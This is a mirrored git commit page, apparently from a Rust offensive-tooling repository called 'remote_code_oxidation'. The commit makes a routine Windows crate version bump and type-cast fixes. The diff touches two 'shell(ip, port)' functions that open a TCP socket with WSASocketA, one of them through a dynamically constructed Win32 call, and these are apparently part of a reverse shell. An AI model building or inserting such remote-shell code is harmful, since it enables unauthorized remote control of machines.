mirror of
https://github.com/kmanc/remote_code_oxidation
synced 2026-06-08 15:21:46 +00:00
Win (#78)
* cargo lock * windows version update * lock file * windows crate bump * missed the antistring version * weird merge conflict
This commit is contained in:
@@ -20,7 +20,7 @@ rco_config = {path = "../rco_config", version = ">=0.2.0"}
|
||||
rco_utils = {path = "../rco_utils", version = ">=1.0.1"}
|
||||
|
||||
[target.'cfg(windows)'.dependencies]
|
||||
windows.version = ">=0.46.0"
|
||||
windows.version = ">=0.47.0"
|
||||
windows.features = [
|
||||
"Win32_Foundation",
|
||||
"Win32_Security",
|
||||
|
||||
@@ -31,8 +31,8 @@ pub fn shell(ip: &str, port: u16) {
|
||||
// RUST --> https://microsoft.github.io/windows-docs-rs/doc/windows/Win32/Networking/WinSock/fn.WSASocketA.html
|
||||
let socket = unsafe {
|
||||
WSASocketA(
|
||||
AF_INET.0 as i32,
|
||||
SOCK_STREAM as i32,
|
||||
AF_INET.0.into(),
|
||||
SOCK_STREAM.0,
|
||||
IPPROTO_TCP.0,
|
||||
None,
|
||||
0,
|
||||
|
||||
@@ -28,8 +28,8 @@ pub fn shell(ip: &str, port: u16) {
|
||||
let function = rco_utils::construct_win32_function!(function; [i32, i32, i32, *const WSAPROTOCOL_INFOA, i32, i32]; [SOCKET]);
|
||||
let socket = unsafe {
|
||||
function(
|
||||
AF_INET.0 as i32,
|
||||
SOCK_STREAM as i32,
|
||||
AF_INET.0.into(),
|
||||
SOCK_STREAM.0,
|
||||
IPPROTO_TCP.0,
|
||||
ptr::null(),
|
||||
0,
|
||||
|
||||
Reference in New Issue
Block a user